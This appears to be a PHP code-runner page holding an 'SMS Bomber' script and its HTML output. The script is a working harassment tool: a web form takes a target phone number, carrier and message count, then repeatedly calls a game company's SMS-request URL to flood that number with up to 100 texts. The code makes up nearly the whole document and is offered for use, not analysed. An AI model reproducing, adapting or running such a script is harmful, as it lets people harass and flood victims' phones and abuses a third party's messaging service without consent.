3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* \\\\\\\----SMS Bomber----/////// Author: SilviuSDS */ $country = 175; $cosmote = 327; $orange = 329; $vodafone = 328; $header = "<link rel=\"stylesheet\" href=\"style.css\"/><body style=\"padding: -100px;\"> <div class=\"title\">SMS Bomber</div>"; $form = sprintf("<center><form action=\"index.php\" method=\"post\"> <span class=\"text\">Choose career:</span> <select class=\"search-input\" name=\"operator\" style=\"width: 200px;\"> <option value=\"%u\">Cosmote</option> <option value=\"%u\">Orange</option> <option value=\"%u\">Vodafone</option> </select></br></br> <span class=\"text\">Phone Number: </span><input type=\"text\" class=\"search-input\" name=\"phone\" style=\"width: 200px;\"/></br></br> <div style=\"padding-right:70px;\"><span class=\"text\"> SMS Number (max 100): </span><input type=\"text\" class=\"search-input\" name=\"smscount\" style=\"width: 200px;\"/></div></br></br> <input class=\"button\" type=\"submit\" value=\"Send SMS\"/></form></center> ",$cosmote,$orange,$vodafone); $succes = "<center></br></br> <div><a href=\"index.php\">Go Back</a></div></center>"; function sendSMS($phoneNr, $operator) { $c = curl_init(); $url = sprintf("http://www.gameloft.com/request-sms.php?wc=documents&step=1&phone=%u&country=175&operator=%u",$phoneNr,$operator); curl_setopt ($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_HEADER, 0); curl_exec($c); } if(!isset($_POST['phone']) || !isset($_POST['operator']) || !isset($_POST['smscount'])) { print($header.$form); } else { $smscount = $_POST['smscount']; if($smscount > 100) { $smscount = 100; } else if($smscount < 5) { $smscount = 5; } print($header); for($count = 1; $count <= $smscount; $count++) { sendSMS($_POST['phone'], $_POST['operator']); printf("<div class=\"text\">SMS no:%u sent</div></br>",$count); } print($succes); } ?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.2.0 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<link rel="stylesheet" href="style.css"/><body style="padding: -100px;"> <div class="title">SMS Bomber</div><center><form action="index.php" method="post"> <span class="text">Choose career:</span> <select class="search-input" name="operator" style="width: 200px;"> <option value="327">Cosmote</option> <option value="329">Orange</option> <option value="328">Vodafone</option> </select></br></br> <span class="text">Phone Number: </span><input type="text" class="search-input" name="phone" style="width: 200px;"/></br></br> <div style="padding-right:70px;"><span class="text"> SMS Number (max 100): </span><input type="text" class="search-input" name="smscount" style="width: 200px;"/></div></br></br> <input class="button" type="submit" value="Send SMS"/></form></center>

preferences:
270.01 ms | 407 KiB | 354 Q